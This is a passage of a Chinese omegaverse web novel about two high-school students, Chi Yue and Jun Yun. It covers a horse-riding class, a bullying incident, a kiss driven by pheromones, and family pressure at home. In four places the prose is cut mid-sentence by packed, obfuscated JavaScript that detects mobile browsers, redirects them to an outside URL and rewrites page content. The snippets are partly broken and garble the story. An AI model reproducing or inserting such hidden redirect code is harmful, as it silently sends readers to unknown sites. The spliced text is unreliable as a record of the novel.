等到匙越回到高三一班时,下节课已经上课十分钟了。 匙越刚坐下,手机震了几声,他拿出手机一看,一个头像是奥特曼的人请求添加他为好友。 —清醒也是一种罪?:我是文强我是文强。 不知道文强加他干什么。 匙越顺手通过。 —清醒也是一种罪?:[大拇指][大拇指] “......” 匙越发了个问号过去,然后切回主页消息栏,十几分钟前隽云给他发了一个消息: —云:昨天那四个人有没有找老棠告状? 匙越看了一眼坐在正中间位置的男生,男生校服穿的熨贴,脊背挺拔,正站着回答老师的问题,字正腔圆,声音清脆。 回答的都在点子上。老师的神色很满意。 好学生。 匙越低头打字。 —sy1011:怎么上课偷偷玩手机? 16.第十六章 隽云坐下后,在老师转身在黑板上写字的间隙,他拿着手机看了一眼消息。 -云:......? -sy1011:开玩笑的。 -sy1011:没有,不是那个事。 隽云看着这条消息,知道他是在回他问他的事情。 -云:OK。 毕竟说了要罩他的,所以如果老棠说了这个事,那么他就会去想办法解决这个。 总不能让匙越被人欺负了,毕竟是他罩的人,不然他的面子往哪搁? 隽云挑了挑眉毛。 毕竟是那时候匙越特意来求他帮忙的。 隽云不自觉划着手机屏幕,划到了几天前的聊天。 -sy1011:Q口Q! 隽云的手一顿:“......” 他看着那个表情包,好像看到匙越一米九个头委屈地躲在他身后指着四个人控诉的样子。 隽云:“......” 没见过这么胆小的alpha。 他关上手机,把手机放回了抽屉。 现在看来那几人很有自知之明,没有告老师。 那么老棠找他,就只是因为一件事情——学费。 开学已经一个多星期了,怎么会还有人学费连都没交?隽云眉间浮现一丝困惑。 下节课是马术课,要提前去换衣间换衣服。 学校的课程和国际接轨,上课的内容有网球,高尔夫,骑马,跆拳道等等,可以从中选两节作为运动培养课。 隽云这学期选修的是马术课和游泳课,马术课是高三新开的体育课,很多人都选了,因为听起来比较有意思。 班里的同学走了大半,隽云起身,和文强和陆思华一起去了马术课上课的地点。 前几天理论课上完了,今天要上马,要穿防护背心、高筒马靴、戴头盔。 男女不论alpha还是omega都需要统一穿着白色的宽松马裤和深色的防护背心,隽云换好了骑马的衣服后,接过教练给他的头盔,拿在手上,去找大部队准备集合。 一个马术班有四五十个人,五个人一队,每个队都配了一名教练和安全员。 上课了,马场嘈杂,教练拿着一个喇叭,在场内和他们说一些鞍具功能、安全急救知识、马术礼仪与文化,甚至还能听到回音。 匙越没有和隽云分在一个组,他分配到手上的马匹是一匹黑色的马,毛发光亮柔顺,匙越拍了拍马的侧面,一下一下顺它的毛发。 匙越前面是其他班的社会招考生,那名女生瘦瘦小小,衣服洗的白净,脸上也干干净净没化一点妆。 在匙越身后的那人出声:“现在真是好起来了,社会招考生都能跟我们在一起上课了。” 匙越转身了,看到排在他后面的人,穿着一身夏季校服衬衫,外面套了黑色的紧身马甲,手和膝盖的地方都戴了护膝,人还蛮高的,皮肤很白,脸部轮廓立体英俊。 匙越认出来,他是坐在文强前面的男生,也就是隽云的同桌,叫柳元誉。 家里是著名的车企公司,长的不错,但性格不好相处,为人非常傲气。 身边不少人都听到了他讥讽的话,纷纷偏头或捂嘴笑出了声。 在匙越前面的那个女生闻言头低了低,不吭声,似乎已经习惯了,想缩小自己的存在感,以默不作声来应对。 双马尾头发顺着肩头滑落,纤细白皙的后脖颈露出来,显得十分低落,柳元誉越过匙越看了她一眼,移开视线,好半天,又补了一声嗤笑。 安全员检查完马匹后,让他们踩着马鞍上马。 柳元誉似是在彰显存在感,又开始说:“既然来了星耀,就要遵守星耀的规矩,你们平白无故得了这么多资源,还不乖乖听话那哪行?对那些普通学校的普通高中生可不公平。” 前面的女生身体抖了抖。 “哦?马场是你家捐的?”匙越低头笑了笑,额前碎发投下一道阴影,掩在头发下的眼眸锋利: “我记得似乎不是,那你在这里,立什么规矩?” “......”柳元誉噎了一下,他家是车企,还真和马场没什么关系。 他很快找回主场,不屑道:“我劝你还是不要丢人显眼,你会骑马吗?” “骑个马而已,有什么难的。”匙越胸腔里漫出一声笑声,显得不太在意: “倒是你,等会别从马上摔下来,太难看。” 柳元誉狠声说道:“那我们比一场。” “没必要。”匙越说:“你可以期待一下,看我骑马。” 匙越的神情和语气完全居高临下,仿佛他根本不够格和他比试。 “你......”柳元誉脸上红白交错,他发现他竟然说不过他。 他打量眼前这个个头极高的男生,不自觉握紧了拳头,眼中闪过一丝疑惑。 开学这么多天,他从来没有和匙越说过话,只是一直听后桌的文强在那里八卦匙越。 匙越是社会招考生,但为什么他一副气势很足的样子......到底是哪来的底气?他真的是文强说的社会招考生吗? 还是说,装的? 这节课主要是要熟悉马,他们队的教练拉着马绳,而他们坐在马上面先熟悉骑马的感觉。 大约绕着马场走了大半圈,还没回到出发的地方,匙越突然说: “老师,我可以骑骑看吗?” alpha天生对驯服有天赋,对未知的事务有着极大的掌控欲,强大的身体素质和身体协调能力使得他们在驯服上极有天赋。 教练是个黑皮肤矮个子的男人,他犹豫了一会儿,他养的马儿都是及其乖顺的马,很通人性,这么多年了也没有发生什么过踩踏事件。 练习骑马是一组一组进行的,这一组还没有结束,为了保障其他组的安全,其他组都在场外候场区等着。 教练试着松开马绳,和匙越交代了几句注意事项。 刚才的慢走已经让匙越熟悉了许多身下的马,他拉着马试探地跑了几步。 高大的骏马头一扬,载着匙越便踢踏着脚步跑了起来,它跑得并不快,察觉到背上的人姿态很放松,甚至赶了一下马绳,马儿受到鼓舞,速度也就逐渐越来越快了。 候场区的人哗然: “喂,快看,场内那个人好帅......” “他这么快就会骑了?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482596|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愧是alpha啊......” 隽云觉得周围突然吵嚷起来,教练正在教他们组上马姿势。 巧的是,上次跟匙越表白的那个男生和隽云在一个组。 旁边有人惊呼:“诶,他不就是你前两天表白的那人吗?” 隽云听到这句话后一愣,他抬头看向场内。 匙越的碎发向后扬开,露出黑色的皮质头盔下那双沉沉的星眸。 发丝飞扬,露出来侧脸的轮廓锋利清晰,鼻梁与眉脊起伏线条好看,他的耳垂上带着一枚黑色的耳钉,整个人在马背上起伏,掌控着马绳,马载着他跑步很是肆意张扬。 周围很多惊呼声和尖叫声,所有人的目光都注视着他。 “啊啊啊——” “哇,真不愧是学生代表啊!” “他好帅啊!” “好酷,帅哥看这里!” 隽云的目光从他的侧脸滑向他的耳钉,场外耳边热烈的欢呼声响彻不停,他心里冒泡似地,“咕咚”一声,有点沸腾。 隽云神色冷静,显得镇定自若,只是心里冷不丁冒出来一个想法, 是挺帅的。 匙越的身体随着马儿踢踏的颠簸而上下起伏,半俯着身体抓着马绳,眉目舒爽,神情惬意,和他骑单车时候的样子很像。 自由...... 等马跑了几百米,匙越拉住马绳,让马慢慢停下来,他利索地翻身下了马,似乎是觉得热,他脱下了头盔,将额前湿透了的碎发往后一抓,光洁饱满的额头露出来,整个人帅气英俊又意气风发。 于是所有人都看到了,匙越额头上有被发丝盖住的一个深色的创可贴,上面绘有简单蓝色的卡通小猫。 那是隽云昨天给他贴上去的。 叶馨言跟他们也在一个马场上,她看到那个创可贴时猛地愣住了。 这种创可贴,她以前看见隽云贴过。 另一边,场上的匙越单手抱着头盔,另一只手抬起,拍了拍马的鬓毛,唇角勾起一个弧度,贴在马儿耳边说: “真乖。” “我靠......”文强在隽云后面,他在马背上发出了一声感叹:“他真的会骑马啊?” 见隽云看着匙越,陆思华收回视线,淡淡地说:“也就那样吧。” 柳元誉没想到这个社会招考生还挺厉害,耳边是能把房顶掀翻的尖叫声,他愣在原地,刚嘲讽完的人在他面前出尽风头,他不自在地找补一声: “......装什么装。” 等到教练和安全员过来牵着马回了出发点后,隽云看到匙越立马被一众omega围起来了。 那个和他表白过的男生给他递水,蘑菇头下的眼睛亮晶晶,带着浓浓的崇拜意味,仰着头看他:“给你。” 冰凉的水瓶带着沁人心脾的水汽,匙越的额头有汗,他拿着一个帕子随性地交叠起来擦去汗珠,视线漫不经心地略过他,看向场外的一个人。 隔着远远的场内空地和来往走动的人,视线相触及的时候,隽云眼睫一颤,移开了视线:“......” 匙越盯着他看了一会儿,喉结滚动,他没接,婉拒了: “不了,我不渴。” 17.第十七章 旁边围观的几个omega立马接话道:“你看起来好有经验......” “你好聪明啊,是不是之前骑过马?” “你能教我骑马吗?” “等会儿能教教我吗?” “也教教我!” 匙越脸上挂着笑,眼底却没什么笑意,他一一婉拒了,然后把手上的白手套取下来递给安全员。 他拨开人群,径直走到外场的座位上,拿了一瓶自己早早放到那里的温水,喝了几口。 今天的主要教学任务就是熟悉马匹,已经骑完的人可以提前走,他就拿着水出了马场。 匙越回到更衣室把衣服换掉,换回校服后,他把马术服放到自己的柜子里锁上,拿着水走回了教室。 天有点热,匙越买了一根冰棍吃,撕开包装袋,咬了一口,冰凉的冰棍被嚼碎,匙越拿出手机看了一下消息。 -云:练过? 匙越看着他发过来的话,好像能看到隽云站在他面前疑惑的样子,匙越笑了笑。 胜负欲还挺强。 -sy1011:没练过。 -云:? 没练过怎么会骑得这么好? 隽云小时候骑过马,所以学习怎么上马对他来说并不难,但是出于马可能发狂的考量以及教练对omega容易受伤的建议,最终还是在教练拉着他的马在马场上来回走了几圈来适应马匹。 没有经验的人是不会骑马的。 或许是懂他心里想什么,匙越很快给他发了几个消息。 -sy1011:之前看了一些视频,感觉不难,就实操了一下,有去马场试过。 隽云了然,原来是有提前骑过马。 这个人好像上课前都会做一些准备。 还挺认真的。 -sy1011:alpha骑马有先天优势,在马儿受惊的情况下,也可以通过信息素压制让马儿恢复冷静,同时alpha的精力比较旺盛,也比较适合骑马,只要姿势标准,一般来说不会出什么问题的。 隽云看着匙越发来的一大段堪称“专业”的话术,缓慢地眨了眨眼睛。 -云:好吧。 很快,匙越回他: -sy1011:[呆萌小狼坐在地上睁着水汪汪波动的大眼睛看向对面.jpg] 隽云:“......” 又突然发表情包。 -云:你在哪儿?方不方便。 方不方便? 匙越墨黑的眼睛盯着屏幕看了一会儿,陷入了沉思。 隽云从来不会问他在哪的,唯一的可能就是,他想要....... 还没到下课时间,周围人少,现在确实是个很好的时机。 匙越看了看其他的消息,学生会那边的人也在找他,有个活动方案需要他提意见。 -sy1011:OK,下午再看,现在有事。 然后切回和隽云的聊天框: -sy1011:[呆萌小狼坐在地上乖巧点头.jpg] -sy1011:我在回教室的路上,很方便。 -sy1011:【发送定位】 -sy1011:等你。 -云:OK。 看了一会儿,匙越嘴角一扬,把手机塞回兜里。 * 从小超市去到高三栋教学楼的路上没什么学生,因而有的时候,一些不那么美妙的声音就格外地突兀,掩映在一个标志性石壁后面。 听到捐款石壁后面传来的斥骂声,匙越脚步一顿,他仰头,看了看星耀中学的最高建筑塔楼,叹了一口气。 “看来,你们学校的霸凌情节比我想象的还要严重啊。” ...... ...... 隽云很快也练习完后从场馆里出来,他准备根据匙越发来的定位去找他。 体育馆分室内和室外,室外活动的场地边上建了一道刻了捐款人的墙面,上面还刻了许多花纹图形,大约有两三米高,前面可以打羽毛球,绕过墙面背面则是草坪,对面就是湖泊了。 现在没有人在这里打羽毛球,因此场地很空旷,一眼望过去根本没人,只有一堵捐款石壁墙屹立在一个角落。 隽云穿着一双运动鞋,停在石壁前。 他的皮肤很白,眼睫很长,只不过单眼皮,看人的时候没有什么表情显得很冷漠,在他绕过墙壁,看到眼前的一切时,这种表情就更明显了。 地上散落了一地的学习用品:练习册、书、本子、笔、尺子...... 脚边有一个红色的书包,不过书包有点旧了,是布制的,有些松垮,边上放水的网布撕开了,水杯砸在地上,铁杯子有个角磕的凹进去了。 一双手捡起地上的书包,又拿起水杯,把盖子扭紧,塞到了书包里。 匙越正蹲在他面前捡别人的东西,他转头问一个女生:“水我放在书包里了?” 一声细若蚊嗡的声音:“谢......谢谢。” 隽云的视线落在地上一个创可贴上,那个创可贴印着蓝色小猫,可惜都皱巴了,被人丢在地上。 地上这么乱,显而易见,打架了。 隽云居高临下地看着他,声音冷冷:“你在做什么?” 匙越:“刚才被人欺负了。” 隽云说:“人呢?” “跑了。” 隽云就不说话了。 匙越起身,他伸出手,递到隽云面前,手指关节处有一大片红色的痕迹:“你看,刚才不小心撞到墙了。” 虽然实际上是因为抡他们的衣领砸到墙上的时候,不小心蹭到了自己的手。 匙越轻轻蹙了一下眉:“我现在手有点痛,脚也很痛。” 虽然是因为踹过去的时候,力的相互作用导致的。 “你是学生代表,理论上他们不会三番五次主动来招惹你。”隽云此刻却没有那么容易糊弄过去,他神色冷清,顿了一下: “所以是他们没有惹你,你自己惹了他们?” 他打得过吗? 隽云一瞬间明白了, 他是为这个女生出头? 隽云神色复杂,看了几眼那个女生,女生面庞白净清秀,她正低着头整理书包。 整个人很素净,扎着两个双侧马尾,头上上戴着的皮筋是黄色的弹力筋,从头到脚除了那两根弹力筋就没有其他装饰了,衣服鞋子都洗的干干净净。 看来也是社会招考生。 隽云抬眼看向匙越,他不太能理解,他为什么要替其他社会招考生出头,这样他们两个人都会被盯上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这两个人对他来说都是陌生人才对。 他不应该因为跟匙越有了些不必要的举动,而把匙越看的不一样。 本质上,他和匙越也不是很熟。 不就是亲了几次吗? 那又怎么了。 “想什么呢?都走神了。” 一双骨节泛红青筋凸起,修长而非常具有力量感和美感的手在隽云的眼前晃了晃。 隽云回过神来:“没什么。” 那个女生已经不在了,不知道什么时候走的,匙越居然也不拦,错过了难得的二人相处机会。 隽云为他感到可惜。 不过既然他都有喜欢的女生了,还这么喜欢她,再和他做那种事情也不合适了。 隽云自认为也不是这么随便的人。 见女生都走了,隽云也准备走。 他转身,长腿一迈,伶仃细的手腕就被抓住了。 宽大火热的掌心带着粗糙的茧子,匙越的指腹在他的腕骨上磨了一下,嗓音低沉: “你要去哪?” 18.第十八章 “放开。” 隽云挣了一下手腕,奈何感觉手腕上仿佛有个铁,牢牢制住他,任凭他怎么挣扎也无法撼动,滚烫的手掌掐着他的手腕,白皙的手腕很快出现了红印子,隽云甩不开也走不掉,他恼羞成怒地转头: “你干什么?” 匙越打量他脸上的神色:“你生气了?” “我没生气。” “那没生气为什么走?” “......”隽云眼睛微微睁大,他没想到匙越脸皮这么厚,他不去找那个女生在这里和他拉扯什么? 不想再和他掰扯什么,也怕隔着石壁有人听到,他犹豫不决地说:“等会她会回来看到。” 匙越脑门上缓缓挂了一个问号:? 隽云不知道他是装不懂还是真不懂,冷嗤一声:“你不是喜欢她吗?” 她? “喜欢谁?”匙越很快就弄明白了:“那个女生?” 匙越的手一下松开了,他恍然大悟地点头:“啊,抱歉......” 隽云面无表情地扭了手腕,大掌掐在上面温热的触感还鲜明着,隽云手背过身后,突然就有点嫌弃地在校服上蹭了蹭。 匙越看着他很刻意的举动,眉毛高挑。 口水都吃过了,这时候突然犯洁癖? 他是这么想的,也这么说了。 “?”隽云擦的手一顿,他抬眼,露出不可思议的表情:“你给我闭嘴。” “抱歉。”匙越低下头,似乎在祈求他不要走,一本正经地道歉,只是眼中划过一抹促狭: “对不起,让你觉得不舒服了。” “......” 半响,隽云反问:“你指什么?” 说完这句话隽云就后悔了。 能指什么,他和那个女生的事关他什么事?他怎么就不舒服了? 两个人之间的氛围一下就变得有点奇怪,说不清道不明的滋味滋滋冒着热气随着光线升腾起来,炙热的夏还没过去,两人离得近,空气似乎都黏稠稀薄起来。 匙越的眼眸深邃,鼻梁高挺,他的声音很轻:“第一,我根本不认识她,第二,我也不喜欢她。” 不认识,不喜欢。 隽云缓慢地眨眼睛,反应过来:“哦......” 哦。 原来是误会。 意识到刚才完全猜错,隽云脸上浮现热意,他逞强地说:“......关我什么事。” 误会就误会。 “不关你的事。”匙越说的很慢,咬字清晰,一个字一个字钻进隽云的耳朵里: “我就是想告诉你。” 隽云的脑子有点懵,胸膛起伏一瞬,才发现他刚才表现的太过明显,回想他刚才以为匙越喜欢那个女生时的反应,脸上一阵热意上涌,他撇开脸,看旁边波光粼粼的湖面,没有看他。 他刚刚也只是提醒他顾好自己再顾其他社会招考生而已。 没有别的意思。 匙越的视线从他清晰的眉骨划到高挺的鼻梁,又落到淡红的唇上。 “还有一件事想问你可不可以。” 隽云:“什么?” “可以亲了吗?” 什么...... 亲....... 刚才的信息还没接受消化完,突如其来的一句话,隽云呆在原地。 “再不亲,等会就下课了,下课之后人会很多,别误会,一切都是为了完成今天的任务。” 匙越的语气很平静,理由也很充分,隽云恍然,竟然觉得他说的话很有道理,毕竟来这里就是为了和他那样。 不是吗? “不说话就是答应了。” 匙越微微弯腰,他凑过去的动作很慢,热度也很慢地传过来,胸口链接领子的金色链条从齐整的衣服上滑落,在半空中荡起一阵幅度,连着另一端星耀中学的图腾在阳光底下熠熠生辉,薄厚适中的两瓣唇触碰到另一个人嘴角,蜻蜓点水亲了一下。 “啵。” 隽云的脑袋微微往后仰。 能明显感觉隽云的身体很僵硬,像个木头人。 眼睛睁大,与此同时,白嫩的耳朵非常红。 匙越偏过脸笑了一声,磁性的声音滚入隽云的耳中,非常让人脸红心跳。 隽云:“......” ......不明白他在笑什么。 呼吸萦绕,暧昧的氛围逐渐蒸腾上升,匙越的指尖轻轻搭在他的下巴上,把他的脸微微转过来,如愿以偿地亲到了唇峰处,更柔软的地方。 隽云闭上眼,匙越的呼吸扑到脸上,有点痒,他被打开唇齿的时候下意识:“唔......” 能不能, 不要......舔他...... 脑子里轰的一声,隽云的脸颊通红,身体微微发颤。 “放松......”匙越低声说。 隽云呼吸急促,他能感觉到他的后脑勺被揉了一下。 双唇微张,舌头碰到的时候隽云从脊椎尾升上来一种麻意一直到头顶,很快,湿湿软软的舌头被轻柔搅动,被吮吸。 “唔......” 隽云拽住匙越的衣角,捏的指尖发白,他的眼睛迷迷蒙蒙,又泛起水雾来。 “叮叮叮~”下课铃响了。 有一个播报的喇叭就在石墙顶上,因此无比清晰,匙越始终睁着眼观察他的表情,捏在隽云下巴的手往下,掐住,纤细柔软的颈部皮肤触感温凉细腻,脉搏在他手心一跳一跳。 匙越的指尖搭在他的喉结处,划了一下,于是隽云瞬间条件反射,吞咽了一下。 好了。 带有浓浓白兰地葡萄酒气味的信息素这下不仅萦绕在隽云鼻尖,还...... 吃下去了。 近处已经传来了脚步声,匙越松开他,隽云有点晕了,没有力气地浑身发软,于是匙越接住他。 隽云拽着他的衣服,靠在匙越的肩膀上,他的胸口剧烈起伏,不住地喘息,脸颊到耳朵都绯红一片,心跳如鼓点般急切。 鼻尖萦绕着alpha的气息,温热的呼吸打在alpha的脖颈上,属于alpha的信息素压过来,让他的腿发软。 omega本能的臣服开始作祟,让他有点不想离开他,高匹配度带来的亲密感让他想再多闻闻他的信息素味道,隽云喉结轻滚,咽下唾液,看着眼前的皮肤,迷糊中越凑越近,双唇微张...... 他的唇印在匙越的脖子上,齿间难耐地磨了磨。 白兰地葡萄酒夹杂着香草和焦甜味...... 好甜...... 好好闻。 他喜欢这个味道。 “你的信息素好浓郁,是快要发情了吧。” 匙越抱着他,语调微微上扬,像钩子,带着蛊惑人的意味,他的手插在隽云的头发里,发丝穿过指尖:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498334|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “到时候发情了,要不要来找我?” 殷红的双唇离开匙越的侧脖颈,带着一丝银液,比周围皮肤更红肿的吻痕留在上面,上面还残留着水光发亮的唾液,像是omega的专属标记。 隽云迷恋地靠在他身上喘气,他张了张口,难耐地发出一声哼声,想说,要。 话滚到喉咙了,一道声音突然由远及近地出现打断了他。 “今天早上你怎么不是坐隽云的车来学校的?”一个声音突然由远及近。 “那是因为......那是因为隽云太忙了。”另一个女声说。 这个声音他们都很熟悉,是叶馨言的声音。 “......” 空气瞬间凝滞,想说的话被按下暂停键,所有的氛围也骤然被打破,隽云耳尖上的红褪下去,他睁开眼,和匙越对视,眼睛湿漉漉还含着水光,唇角湿润,他的表情很懵。 他刚才在干什么? 刚刚下课,叶馨言和李敏惠两人并肩走,她们才从马场回来,从闷热的马术服换回了校服短裙别说有多凉快了。 “等会你们班上什么课?”叶馨言绕着自己专门为骑马而做的辫子高马尾,有些心情很好地问。 “等会是物理实验课。” “那你记得多拍点隽云的照片给我啊。”叶馨言毫不客气地说。 “好啊。” 脚步声从远处走近,叶馨言和李恩惠走过捐款石碑前空旷的羽毛球场地。 叶馨言停下脚步,她皱眉,扇了扇空气:“你有没有闻到一股味道?” 李恩惠说:“什么味?” “有点像......omega的气味。” 李恩惠仔细闻了闻,而后瞪大了眼睛:“有!” 李恩惠:“疯了吧?哪个omega发情了吗......” 一般信息素只有在快要发情的时候才会控制不住地外泄,平时大多时候都是能控制好的,而在发情期或者易感期前,omega和alpha都会选择贴隔离贴。 信息素外散是很危险的行为,omega的信息素的味道也很容易引起引起alpha失控,从而做出不理智的行为。 空气中漂浮着一丝酸涩的果香...... “这个味道......”身为alpha的李恩惠情不自禁地朝着捐款功德石壁的方向走了两步。 然而很快就闻不到了,取而代之的是带有攻击力和驱逐意味的成熟的气息,强势又霸道。 这是...... alpha的信息素! 李恩惠瞬间清醒过来。 同类信息素抵抗产生的影响让她头皮紧绷,浑身进入戒备战斗状态,萌生出一种想与之打斗一较高下的心理。 酸涩香气彻底闻不见,alpha强势的白兰地酒香铺天盖地压在这两名alpha身上,仿佛在宣告这是他的领地,omega是他的所有物,其他人不许再往前进一步。 压在肩膀上的巨大威压让她们产生逃离的想法,独属于生物的本能让她们后退几步。 叶馨言脸色很难看,她的身体也不太舒服。 学校不太管早恋,但alpha和omega在公共场合情不自禁地释放信息素,如此肆无忌惮的亲密,只能说明一个事情。 李恩惠惊诧:“这个alpha和omega......” 在背着人做一些上不了台面的事情。 19.第十九章 “怎么办?” 李恩惠的脸色不太好,她张了张十指努力舒缓身体的紧绷,深吸一口气:“我想打人。” 叶馨言多看了两眼石壁,她是知道后面有一小片草坪能藏人的。 但是往常只听说过这里是欺负的社会招考生的圣地——监控拍不到,而且也不会有什么路过的老师,完全视野盲区,很适合把人拉过来进行校园霸凌。 没想到现在居然在里面做这种事情...... 真是胆子够大的。 一般像他们这个身份地位的alpha应该都看不上社会招考生omega才对。 叶馨言古怪地收回视线:“我们走吧。” 二人的脚步声逐渐远去。 alpha散发的强加信息素逐渐收拢起来,匙越低头看了眼隽云,他虽然还靠着他,但是眼睛已经恢复清明,冷淡地瞥了他一眼,随后推开他,在旁边整理身上有些凌乱的衣服。 这么快就清醒过来了。 匙越顶了顶腮帮,这个人简直翻脸比翻书还快。 “你还没回答我说的问题。”匙越说。 “什么问题?” 隽云从口袋里拿出一个口袋巾,优雅矜贵地擦了擦唇上的水,他除了嘴唇红一些,眼睛比平时水润一些,和平时没什么两样。 像一只高傲的波斯猫,得到了足够的alpha的信息素后满足而懒洋地晒太阳,皮肤在阳光下显现出一种白瓷般的质感,甚至脸上细小的绒毛都清晰可见。 alpha的信息素在他体内和他的信息素交融,很舒服,隽云懒洋洋地眯着眼睛想了一会儿才终于想起来,匙越说的是问他发情期找谁帮忙。 瞥到匙越脖颈上留的吻痕和残留的水光发亮的唾液,隽云倏地收回了视线,眼观鼻鼻观心。 “......” 气氛一时间有点尴尬,隽云不自然地皱了一下鼻子: “再说吧。” 虽然,他刚才确实很想要他的味道,但是如果真的发情期了,他相信他也能扛过去...... 隽云还是觉得他不会那么快发情。 至于刚才......可能是因为亲吻产生情绪激动,从而控制不住地泄出了信息素。 匙越舔了舔唇:“那有需要的话,你可以联系我。” 这句话有点像是什么特殊服务,有什么特殊需求联系他,保证随叫随到。 这太奇怪了。 匙越未免有点积极。 “......”隽云看了他一眼,不需要三个字在嘴边兜了个圈,最终还是嘴角抽抽,什么都没说。 可能是他想多了吧。 * 华灯初上,高档餐厅一楼热热闹闹,到了二楼vip包厢客人的单独层后,就只听到走廊上服务员上菜的脚步声了。 氤氲雾气之中,曲水流觞,服务员将门推开,绕过竹木做的隔板,将餐盘端到饭桌上。 包厢内气氛凝重,等到菜上齐后服务员推着餐车出门,心里嘀咕着这个包厢的客人可真奇怪,菜上来之后一句话都不说。 穿着精贵绸缎布料,打扮精致的美妇倚靠在椅子上,翘着一根手指,无名指上还带着一个祖母绿大钻戒,她状似疲惫地揉了揉自己的额角: “诶哟,我有点不舒服,要不我先回去?” “不行。”旁边的中年男子面容严肃,他抿了一口酒,说:“你就在这里坐着,哪也不许去!” 闵荣嘴角向下,神色十分不悦,于是那名美妇讪笑了一声:“那是,匙越在外流浪这么多年,总该是要认祖归宗的。” 她旁边坐着一个白白净净,头发棕黄微卷的omega男生,大约十七八岁,模样有些瘦弱,不过到底还是比较懂事乖巧: “哥哥几点来?” 就在这时,门被推开,从竹木隔间后走出来一个身高体长,穿黑色T恤的男生,五官俊朗帅气,腿很长,走路声音沉稳有力,带着压迫感。 所有人的目光下移到他的脖颈上,那里突兀地贴了一枚崭新的可爱蓝色小猫创可贴。 那是隽云走之前给他贴上的,还让他不许摘下来给别人看到上面的吻痕。 匙越嘴角微微上扬,显得心情很好,在一众人的视线中,他拉开椅子坐下: “久等。” * 隽云回家的时候,他妈不在家,他爸倒是回家了。 做了一会儿作业后,隽云把校服换下,穿着一身薄款的白色T恤下楼,准备吃饭。 客厅空旷,不论是精美的吊灯还是白色的餐桌,玻璃花瓶,都透着一种冰冷的质感。 在一张长长的饭桌上摆了七八道菜,隽云和他爸隽诉坐的不算远,却相顾无言,好半天,隽诉放下勺子,拿了纸擦嘴,又接过女佣递上来的湿帕擦了擦手,自顾自地说: “和馨言相处的怎么样?再过一年,你们就要结婚了” 隽云没说话,自顾自地吃饭。 隽诉将帕子递给女佣,他面容威严,话语间带着不容忽视的威压,宛如一记重顶压在隽云身上: “等你结婚了,铭升也就能再上一层楼了,这些道理你不会不懂。” “要时刻谨记,利益最大化。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504290|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 勺子在汤碗中一搁,发出轻微又清脆的响声,隽云淡淡反问:“把所有人都利用进去,包括自己,也能算利益最大化吗?” 没想过隽云会反驳他——隽云也从没逆反过他们,于是隽诉一愣:“你说什么?” 隽云把筷子放下:“我吃好了,您吃吧。” 说完,他起身,椅子在地面上滑动发出一些声响。 二楼一共有七八间房,他父母各住一间主卧,旁边是爷爷的卧房,而隽云的卧房在楼梯另一边,再旁边是书房。 隽云进门后把房门反锁了,他没有开灯,靠着门静静地站了一会儿。 头顶的摄像头被一个毛巾遮住,半垂下来,房间弥漫的黑几乎要将他淹没窒息,一片沉寂毫无声息的寂静。 一如往日,十八年时光里的寂寞与失望几乎要将他压倒,隽云呼吸变快了许多,脑子不受控制地想着一些事情。 从有记忆起,他记得的第一个画面是他在地上嚎啕大哭,然而得不到回应,只有在他面前远去接电话的匆忙脚步。 再到大一点的时候,他抱着小玩偶敲父母的房门,擦眼泪问能不能陪他睡觉,得到的回复是你这么大了要自己睡,不能这么不懂事。 要比同龄小孩更优秀...... 于是无数张雪花一样满分的试卷下来,他满心欢喜地拿给他们看,父亲从一堆文件里分出些眼神瞥了眼,说了一句继续保持,让他的笑僵在脸上。 拿去给母亲看,她接过一堆满分试卷,从中挑出一张问他,为什么这张只有99?他哑口无言。 无数个童年的回忆纷纷扬扬朝他砸来,许多相似又沉重的场景组成了成年的他,隽云闭着眼,靠在门上,似乎被命运扼住,他扬起脖颈,头抵在门上。 眉梢眼尾薄薄的皮肤泛红,黑暗压在他的身上,他张开唇,微弱地吸气呼气,却仿佛是一条快要溺死的,缺氧的鱼。 瘦弱的胸膛剧烈起伏,他难受地揪住自己的衣领,试图发出一些声音,然而只是张了张口,什么声音都发不出来。 就在这时, “叮铃铃铃铃铃——” 手机铃声的尖锐刺穿黑暗。 隽云一下被惊着了,他浑身一颤,抵着门滑落至地,冰凉的空气顺着口鼻涌入肺部,顿时就能呼吸了,他大口喘气,浑身冷汗唰一下被逼出来。 